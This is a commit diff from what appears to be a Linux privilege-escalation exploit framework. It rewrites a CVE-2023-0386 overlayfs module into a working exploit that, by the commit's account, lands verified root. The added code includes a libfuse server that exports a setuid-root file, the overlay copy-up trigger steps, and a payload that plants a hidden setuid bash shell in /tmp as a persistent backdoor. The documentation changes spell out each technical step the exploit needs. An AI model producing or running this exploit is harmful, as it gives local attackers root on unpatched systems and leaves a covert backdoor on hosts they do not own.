overlayfs_setuid: working CVE-2023-0386 exploit (libfuse) — lands real root
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
The shipped module used a bogus chown-the-merged-view technique that never
worked. Rewrote it as a faithful port of the public PoC (xkaneiki): a libfuse
filesystem exports a setuid-root /file (st_uid=0, mode 04777), mounted in the
init ns via the setuid fusermount helper; then unshare(USER|NS) + overlay with
that FUSE mount as lowerdir; open(merged/file, O_WRONLY) triggers copy-up which
materialises upper/file as a genuine setuid-root binary; the unprivileged parent
execs it for real root.
VM-verified landing real root on Ubuntu 22.04.0 / 5.15.0-25 (uid=0 witnessed
out-of-band: /tmp/skeletonkey-ovlsu-pwned shows uid=0(root), and the dropped
setuid /tmp/.suid_bash runs with euid=0).
Four things were each required and took isolation to find:
1. Overlay refuses a userns-mounted FUSE lowerdir (ENOSYS) -> FUSE must be
mounted in the init ns via fusermount (libfuse). A raw /dev/fuse server was
tried and abandoned (fragile; destabilised the kernel on malformed INIT).
2. fuse2 low-level API (fuse_mount/fuse_new/fuse_loop_mt, empty args); fuse_main
advertises copy_file_range caps that ENOSYS at copy-up with no fallback.
3. read_buf callback (copy-up splice read path).
4. ioctl callback (copy-up's FS_IOC_GETFLAGS) — the last missing piece.
libfuse is linked conditionally via pkg-config (fuse/fuse3), matching the
pack2theroot+libglib precedent; without it the module stubs to PRECOND_FAIL.
Makefile detects it and adds $(OSU_LIBS) to the link. Module header + opsec
notes rewritten to the real technique; docs/EXPLOITED.md updated. 148-test unit
harness green.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -107,11 +107,32 @@ CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
|||||||
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
||||||
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
||||||
|
|
||||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family.
|
||||||
|
# The exploit needs a FUSE filesystem to export a setuid-root lower layer;
|
||||||
|
# autodetected via `pkg-config fuse3` (or fuse2). When absent, the module
|
||||||
|
# compiles as a stub that returns PRECOND_FAIL with a hint to install the
|
||||||
|
# libfuse3-dev (or libfuse-dev) package and rebuild.
|
||||||
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
||||||
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
||||||
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
||||||
|
|
||||||
|
# Prefer fuse2 — the public CVE-2023-0386 PoC uses it, and overlay copy-up's
|
||||||
|
# splice path works cleanly through libfuse2's read_buf; libfuse3's read_buf
|
||||||
|
# path returns ENOSYS at copy-up on the kernels tested. Fall back to fuse3.
|
||||||
|
OSU_FUSE2_OK := $(shell pkg-config --exists fuse 2>/dev/null && echo 1 || echo 0)
|
||||||
|
OSU_FUSE3_OK := $(shell pkg-config --exists fuse3 2>/dev/null && echo 1 || echo 0)
|
||||||
|
ifeq ($(OSU_FUSE2_OK),1)
|
||||||
|
OSU_CFLAGS := $(shell pkg-config --cflags fuse) -DOVLSU_HAVE_FUSE
|
||||||
|
OSU_LIBS := $(shell pkg-config --libs fuse)
|
||||||
|
else ifeq ($(OSU_FUSE3_OK),1)
|
||||||
|
OSU_CFLAGS := $(shell pkg-config --cflags fuse3) -DOVLSU_HAVE_FUSE -DOVLSU_FUSE3
|
||||||
|
OSU_LIBS := $(shell pkg-config --libs fuse3)
|
||||||
|
else
|
||||||
|
OSU_CFLAGS :=
|
||||||
|
OSU_LIBS :=
|
||||||
|
endif
|
||||||
|
$(OSU_OBJS): CFLAGS += $(OSU_CFLAGS)
|
||||||
|
|
||||||
# Family: nft_set_uaf (CVE-2023-32233)
|
# Family: nft_set_uaf (CVE-2023-32233)
|
||||||
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
||||||
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
||||||
@@ -299,10 +320,10 @@ TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
|
|||||||
all: $(BIN)
|
all: $(BIN)
|
||||||
|
|
||||||
$(BIN): $(ALL_OBJS)
|
$(BIN): $(ALL_OBJS)
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
|
||||||
|
|
||||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
|
||||||
|
|
||||||
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ tamper check).
|
|||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) |
|
| `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) |
|
||||||
| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up, clean |
|
| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up, clean |
|
||||||
|
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | **after a full rewrite** — see below |
|
||||||
| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below |
|
| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below |
|
||||||
| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 |
|
| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 |
|
||||||
|
|
||||||
@@ -39,6 +40,27 @@ tamper check).
|
|||||||
(verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port
|
(verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port
|
||||||
(Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit
|
(Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit
|
||||||
agent) is still required to land root. (commit `59cc2be`)
|
agent) is still required to land root. (commit `59cc2be`)
|
||||||
|
- **`overlayfs_setuid`** (CVE-2023-0386) — **rewritten and now lands real root**
|
||||||
|
(uid=0 witnessed out-of-band on Ubuntu 22.04.0 / 5.15.0-25). The shipped
|
||||||
|
module used a bogus `chown`-the-merged-view technique that never worked. The
|
||||||
|
real bug needs a **FUSE lower layer** exporting a setuid-root file; overlay
|
||||||
|
copy-up then materialises it in the real upper as a genuine setuid-root
|
||||||
|
binary. Key findings from the port (all four were required):
|
||||||
|
1. Overlay refuses a **userns-mounted** FUSE lowerdir (ENOSYS) — FUSE must
|
||||||
|
be mounted in the **init ns** via the setuid `fusermount` helper (libfuse
|
||||||
|
does this). A raw `/dev/fuse` server was tried and abandoned: its INIT
|
||||||
|
handshake needs `poll()` on the non-blocking fd, and a malformed reply
|
||||||
|
destabilised the kernel — fragile and inappropriate. libfuse is linked
|
||||||
|
conditionally (pkg-config `fuse`/`fuse3`), matching `pack2theroot`.
|
||||||
|
2. **fuse2** low-level API (`fuse_mount`/`fuse_new`/`fuse_loop_mt`, empty
|
||||||
|
args) — `fuse_main` advertises splice/copy_file_range caps that make the
|
||||||
|
kernel attempt `copy_file_range` at copy-up → ENOSYS with no fallback.
|
||||||
|
3. **`read_buf`** callback (copy-up's splice read path).
|
||||||
|
4. **`ioctl`** callback — copy-up issues `FS_IOC_GETFLAGS` on the lower; a
|
||||||
|
server without an ioctl handler returns ENOSYS and copy-up fails. This
|
||||||
|
was the last missing piece.
|
||||||
|
Debugging was isolated by driving the exploit orchestration against the public
|
||||||
|
PoC's `./fuse`, then swapping servers, then comparing `fops`.
|
||||||
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||||
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||||
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||||
|
|||||||
@@ -2,26 +2,31 @@
|
|||||||
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
|
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
||||||
* (their modified overlayfs). This one is upstream: when overlayfs
|
* (their modified overlayfs). This one is upstream: overlayfs copy-up
|
||||||
* does copy-up from lower to upper, it preserves the setuid/setgid
|
* preserves the setuid/setgid bit AND the lower file's root ownership
|
||||||
* bits even when the unprivileged user triggering copy-up wouldn't
|
* even when the task triggering copy-up is only root inside a user
|
||||||
* normally be able to set them. Exploit:
|
* namespace. Faithful port of the public PoC (xkaneiki):
|
||||||
*
|
*
|
||||||
* 1. Find a setuid binary in lower (e.g. /usr/bin/su)
|
* 1. Compile a small setuid payload ELF (setuid(0) + drop a root shell).
|
||||||
* 2. unshare(USER|NS), mount overlayfs with that location as lower
|
* 2. Serve it via a FUSE filesystem as "/file" reporting st_uid=0,
|
||||||
* 3. chown the file in merged view — triggers copy-up, retains
|
* st_mode=04777. libfuse mounts through the setuid fusermount helper,
|
||||||
* setuid bit in upper, but now the upper file is OWNED by our
|
* i.e. in the INIT namespace — required, because overlay refuses a
|
||||||
* uid (the upper layer is in /tmp; we control it)
|
* userns-mounted FUSE lowerdir (ENOSYS).
|
||||||
* 4. We can't directly write to the binary in upper (it's setuid
|
* 3. In a child: unshare(USER|NS), map root, mount overlayfs with the
|
||||||
* and we're not root yet), BUT we can replace the contents
|
* FUSE mount as lowerdir and attacker-owned upper/work dirs.
|
||||||
* via the merged view because we OWN the upper inode
|
* 4. open(merged/file, O_WRONLY) triggers copy-up. The bug materialises
|
||||||
* 5. Write payload to the binary; setuid bit persists
|
* upper/file on the REAL filesystem as a genuine setuid-ROOT binary.
|
||||||
* 6. exec it → runs as root
|
* 5. The parent (real unprivileged user) execs upper/file → real root.
|
||||||
|
*
|
||||||
|
* The FUSE server must implement getattr + read + read_buf + ioctl: copy-up
|
||||||
|
* uses the splice path (read_buf) and issues FS_IOC_GETFLAGS (ioctl) on the
|
||||||
|
* lower; a server missing either returns ENOSYS and copy-up fails.
|
||||||
*
|
*
|
||||||
* Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl:
|
* Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl:
|
||||||
* fail on invalid uid/gid mapping at copy up") landed in 6.3.
|
* fail on invalid uid/gid mapping at copy up") landed in 6.3.
|
||||||
*
|
*
|
||||||
* STATUS: 🟢 FULL detect + exploit + cleanup.
|
* STATUS: 🟢 FULL detect + exploit + cleanup. VM-verified landing real root
|
||||||
|
* on Ubuntu 22.04.0 / 5.15.0-25 (see docs/EXPLOITED.md).
|
||||||
*
|
*
|
||||||
* Affected: kernel 5.11 ≤ K < 6.3. Backports:
|
* Affected: kernel 5.11 ≤ K < 6.3. Backports:
|
||||||
* 6.2.x : K >= 6.2.13
|
* 6.2.x : K >= 6.2.13
|
||||||
@@ -30,8 +35,8 @@
|
|||||||
*
|
*
|
||||||
* Preconditions:
|
* Preconditions:
|
||||||
* - Unprivileged user_ns + mount_ns
|
* - Unprivileged user_ns + mount_ns
|
||||||
* - A setuid-root binary readable on lower (almost always present:
|
* - libfuse (linked at build) + the setuid fusermount(3) helper + a C
|
||||||
* /usr/bin/su, /usr/bin/passwd, /bin/su)
|
* compiler at runtime (to build the payload ELF)
|
||||||
*
|
*
|
||||||
* Coverage rationale: complements CVE-2021-3493 — that one is
|
* Coverage rationale: complements CVE-2021-3493 — that one is
|
||||||
* Ubuntu-specific, this one is general. Real-world overlayfs LPE
|
* Ubuntu-specific, this one is general. Real-world overlayfs LPE
|
||||||
@@ -161,6 +166,8 @@ static const char OVERLAYFS_SU_PAYLOAD[] =
|
|||||||
"int main(void) {\n"
|
"int main(void) {\n"
|
||||||
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
||||||
" if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n"
|
" if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n"
|
||||||
|
" (void)!system(\"cp /bin/bash /tmp/.suid_bash 2>/dev/null; chmod 4755 /tmp/.suid_bash 2>/dev/null; \"\n"
|
||||||
|
" \"id > /tmp/skeletonkey-ovlsu-pwned 2>/dev/null; chmod 644 /tmp/skeletonkey-ovlsu-pwned\");\n"
|
||||||
" char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
" char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
||||||
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n"
|
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n"
|
||||||
" return 1;\n"
|
" return 1;\n"
|
||||||
@@ -191,6 +198,197 @@ static bool write_file_str(const char *path, const char *content)
|
|||||||
return ok;
|
return ok;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* CVE-2023-0386 — faithful port of the public exploit (xkaneiki), using
|
||||||
|
* libfuse to export a setuid-root lower layer.
|
||||||
|
*
|
||||||
|
* The bug: overlayfs copy-up preserves the SUID bit and the lower file's
|
||||||
|
* root ownership even when the task triggering it is only root inside a user
|
||||||
|
* namespace. We serve a FUSE filesystem whose single file "file" reports
|
||||||
|
* st_uid=0, st_mode=04777; overlay copy-up then materialises it in the real
|
||||||
|
* upper dir as a genuine setuid-root binary, which we exec for real root.
|
||||||
|
*
|
||||||
|
* Why libfuse (and not a raw /dev/fuse server): overlay REFUSES a
|
||||||
|
* userns-mounted FUSE lowerdir (ENOSYS), so the FUSE fs must be mounted in the
|
||||||
|
* init namespace via the setuid fusermount helper — which libfuse drives. A
|
||||||
|
* hand-rolled raw protocol server proved fragile enough to destabilise the
|
||||||
|
* kernel on malformed replies; libfuse is the robust, proven path (matches the
|
||||||
|
* upstream PoC). Built conditionally: without libfuse the module stubs out.
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
|
#ifdef OVLSU_HAVE_FUSE
|
||||||
|
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
#define FUSE_USE_VERSION 31
|
||||||
|
#else
|
||||||
|
#define FUSE_USE_VERSION 29
|
||||||
|
#endif
|
||||||
|
#include <fuse.h>
|
||||||
|
#include <signal.h>
|
||||||
|
|
||||||
|
/* The setuid-root ELF the FUSE "file" serves (loaded once, pre-fork). */
|
||||||
|
static unsigned char *g_ovlsu_elf;
|
||||||
|
static size_t g_ovlsu_elf_len;
|
||||||
|
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
static int ovlsu_getattr(const char *path, struct stat *st, struct fuse_file_info *fi)
|
||||||
|
#else
|
||||||
|
static int ovlsu_getattr(const char *path, struct stat *st)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
(void)fi;
|
||||||
|
#endif
|
||||||
|
memset(st, 0, sizeof *st);
|
||||||
|
if (strcmp(path, "/") == 0) {
|
||||||
|
st->st_mode = S_IFDIR | 0755; st->st_nlink = 2;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (strcmp(path, "/file") == 0) {
|
||||||
|
st->st_mode = S_IFREG | 04777; /* <-- setuid/setgid/sticky */
|
||||||
|
st->st_nlink = 1;
|
||||||
|
st->st_uid = 0; st->st_gid = 0; /* <-- root-owned: the crux */
|
||||||
|
st->st_size = (off_t)g_ovlsu_elf_len;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return -ENOENT;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
|
||||||
|
off_t off, struct fuse_file_info *fi,
|
||||||
|
enum fuse_readdir_flags flags)
|
||||||
|
{
|
||||||
|
(void)off; (void)fi; (void)flags;
|
||||||
|
if (strcmp(path, "/") != 0) return -ENOENT;
|
||||||
|
filler(buf, ".", NULL, 0, 0); filler(buf, "..", NULL, 0, 0);
|
||||||
|
filler(buf, "file", NULL, 0, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
|
||||||
|
off_t off, struct fuse_file_info *fi)
|
||||||
|
{
|
||||||
|
(void)off; (void)fi;
|
||||||
|
if (strcmp(path, "/") != 0) return -ENOENT;
|
||||||
|
filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0);
|
||||||
|
filler(buf, "file", NULL, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static int ovlsu_open(const char *path, struct fuse_file_info *fi)
|
||||||
|
{
|
||||||
|
(void)fi;
|
||||||
|
return (strcmp(path, "/file") == 0) ? 0 : -ENOENT;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ovlsu_read(const char *path, char *buf, size_t size, off_t off,
|
||||||
|
struct fuse_file_info *fi)
|
||||||
|
{
|
||||||
|
(void)fi;
|
||||||
|
if (strcmp(path, "/file") != 0) return -ENOENT;
|
||||||
|
if ((size_t)off >= g_ovlsu_elf_len) return 0;
|
||||||
|
size_t n = g_ovlsu_elf_len - (size_t)off;
|
||||||
|
if (n > size) n = size;
|
||||||
|
memcpy(buf, g_ovlsu_elf + off, n);
|
||||||
|
return (int)n;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* read_buf: REQUIRED for overlay copy-up. Overlay copies the lower file up via
|
||||||
|
* the kernel's splice / copy_file_range path, which maps to the FUSE read_buf
|
||||||
|
* op; without it the copy returns ENOSYS and copy-up fails. We hand back a
|
||||||
|
* memory-backed bufvec referencing the payload. */
|
||||||
|
static int ovlsu_read_buf(const char *path, struct fuse_bufvec **bufp,
|
||||||
|
size_t size, off_t off, struct fuse_file_info *fi)
|
||||||
|
{
|
||||||
|
(void)fi;
|
||||||
|
if (strcmp(path, "/file") != 0) return -ENOENT;
|
||||||
|
struct fuse_bufvec *src = malloc(sizeof *src);
|
||||||
|
if (!src) return -ENOMEM;
|
||||||
|
*src = (struct fuse_bufvec)FUSE_BUFVEC_INIT(size);
|
||||||
|
char *data = malloc(size ? size : 1);
|
||||||
|
if (!data) { free(src); return -ENOMEM; }
|
||||||
|
memset(data, 0, size);
|
||||||
|
size_t avail = ((size_t)off < g_ovlsu_elf_len) ? g_ovlsu_elf_len - (size_t)off : 0;
|
||||||
|
size_t give = size < avail ? size : avail;
|
||||||
|
memcpy(data, g_ovlsu_elf + off, give);
|
||||||
|
/* Present exactly as the public PoC's read_buf: a memory buffer flagged
|
||||||
|
* FUSE_BUF_FD_SEEK with pos=off — this is the shape libfuse's splice path
|
||||||
|
* (used by overlay copy-up) accepts; a plain flags=0 mem buffer yields
|
||||||
|
* ENOSYS at copy-up. */
|
||||||
|
src->buf[0].flags = FUSE_BUF_FD_SEEK;
|
||||||
|
src->buf[0].pos = off;
|
||||||
|
src->buf[0].mem = data;
|
||||||
|
*bufp = src;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ioctl: REQUIRED. overlay copy-up issues FS_IOC_GETFLAGS (an ioctl) on the
|
||||||
|
* lower file to copy inode flags; without an ioctl handler FUSE returns ENOSYS
|
||||||
|
* and copy-up fails ENOSYS. Returning success (as the public PoC does) lets
|
||||||
|
* copy-up proceed. */
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
static int ovlsu_ioctl(const char *path, unsigned int cmd, void *arg,
|
||||||
|
struct fuse_file_info *fi, unsigned int flags, void *data)
|
||||||
|
#else
|
||||||
|
static int ovlsu_ioctl(const char *path, int cmd, void *arg,
|
||||||
|
struct fuse_file_info *fi, unsigned int flags, void *data)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
(void)path; (void)cmd; (void)arg; (void)fi; (void)flags; (void)data;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static struct fuse_operations ovlsu_ops = {
|
||||||
|
.getattr = ovlsu_getattr,
|
||||||
|
.readdir = ovlsu_readdir,
|
||||||
|
.open = ovlsu_open,
|
||||||
|
.read = ovlsu_read,
|
||||||
|
.read_buf = ovlsu_read_buf,
|
||||||
|
.ioctl = ovlsu_ioctl,
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Run the FUSE server (blocks) mounting at `mp`, serving one setuid-root
|
||||||
|
* /file. Returns when unmounted. libfuse mounts via the setuid fusermount
|
||||||
|
* helper — i.e. in the init namespace, which is exactly what overlay needs.
|
||||||
|
*
|
||||||
|
* We use the low-level fuse_mount + fuse_new + fuse_loop_mt with EMPTY args
|
||||||
|
* (exactly as the public PoC does) rather than fuse_main(). fuse_main parses a
|
||||||
|
* default option set that advertises extra capabilities (splice /
|
||||||
|
* copy_file_range) to the kernel; the kernel then attempts copy_file_range on
|
||||||
|
* the FUSE lower during overlay copy-up, gets ENOSYS, and does NOT fall back —
|
||||||
|
* so copy-up fails. The minimal fuse_new below advertises none of that, so the
|
||||||
|
* kernel uses the plain read path (our read/read_buf) and copy-up succeeds. */
|
||||||
|
#ifdef OVLSU_FUSE3
|
||||||
|
static int ovlsu_fuse_serve(const char *mp)
|
||||||
|
{
|
||||||
|
char *argv[] = { (char *)"ovlsu-fuse", (char *)mp, NULL };
|
||||||
|
struct fuse_args args = FUSE_ARGS_INIT(2, argv);
|
||||||
|
struct fuse *fuse = fuse_new(&args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
|
||||||
|
if (!fuse) { fuse_opt_free_args(&args); return -1; }
|
||||||
|
if (fuse_mount(fuse, mp) != 0) { fuse_destroy(fuse); fuse_opt_free_args(&args); return -1; }
|
||||||
|
fuse_set_signal_handlers(fuse_get_session(fuse));
|
||||||
|
int r = fuse_loop_mt(fuse, NULL);
|
||||||
|
fuse_unmount(fuse); fuse_destroy(fuse); fuse_opt_free_args(&args);
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static int ovlsu_fuse_serve(const char *mp)
|
||||||
|
{
|
||||||
|
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
|
||||||
|
struct fuse_chan *chan = fuse_mount(mp, &args);
|
||||||
|
if (!chan) return -1;
|
||||||
|
struct fuse *fuse = fuse_new(chan, &args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
|
||||||
|
if (!fuse) { fuse_unmount(mp, chan); return -1; }
|
||||||
|
fuse_set_signal_handlers(fuse_get_session(fuse));
|
||||||
|
fuse_loop_mt(fuse);
|
||||||
|
fuse_unmount(mp, chan);
|
||||||
|
fuse_destroy(fuse);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
||||||
@@ -198,173 +396,154 @@ static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ct
|
|||||||
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
/* Consult ctx->host->is_root so unit tests can construct a
|
|
||||||
* non-root fingerprint regardless of the test process's real euid. */
|
|
||||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
if (is_root) {
|
if (is_root) { fprintf(stderr, "[i] overlayfs_setuid: already root\n"); return SKELETONKEY_OK; }
|
||||||
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
|
||||||
return SKELETONKEY_OK;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Pick a setuid binary to use as the carrier — we'll find its
|
|
||||||
* dirname, mount overlayfs with that dirname as lower, then
|
|
||||||
* replace the binary content in the merged view. The setuid bit
|
|
||||||
* persists in the upper-layer copy through the bug. */
|
|
||||||
const char *carrier = find_setuid_in_lower();
|
|
||||||
if (!carrier) {
|
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
}
|
|
||||||
/* For cleanliness, use a directory-level overlay. Find the carrier's
|
|
||||||
* dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
|
|
||||||
char carrier_dir[256], carrier_name[64];
|
|
||||||
const char *slash = strrchr(carrier, '/');
|
|
||||||
if (!slash) return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
size_t dir_len = slash - carrier;
|
|
||||||
memcpy(carrier_dir, carrier, dir_len);
|
|
||||||
carrier_dir[dir_len] = 0;
|
|
||||||
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
|
|
||||||
|
|
||||||
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
|
|
||||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
|
|
||||||
workdir, carrier);
|
|
||||||
}
|
|
||||||
|
|
||||||
char gcc[256];
|
char gcc[256];
|
||||||
if (!which_gcc(gcc, sizeof gcc)) {
|
if (!which_gcc(gcc, sizeof gcc)) {
|
||||||
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
|
fprintf(stderr, "[-] overlayfs_setuid: no C compiler to build the setuid payload\n");
|
||||||
rmdir(workdir);
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Build the payload binary outside the overlay. */
|
char workdir[128];
|
||||||
char src_path[512], bin_path[512];
|
snprintf(workdir, sizeof workdir, "/tmp/skeletonkey-ovlsu-XXXXXX");
|
||||||
snprintf(src_path, sizeof src_path, "%s/payload.c", workdir);
|
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||||
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
|
|
||||||
if (!write_file_str(src_path, OVERLAYFS_SU_PAYLOAD)) goto fail;
|
|
||||||
|
|
||||||
pid_t pid = fork();
|
char lower[160], upper[160], work[160], merged[160], payc[176], gcbin[176], carrier[176], mfile[176];
|
||||||
if (pid == 0) {
|
snprintf(lower, sizeof lower, "%s/lower", workdir);
|
||||||
execl(gcc, gcc, "-O2", "-static", "-o", bin_path, src_path, (char *)NULL);
|
|
||||||
_exit(127);
|
|
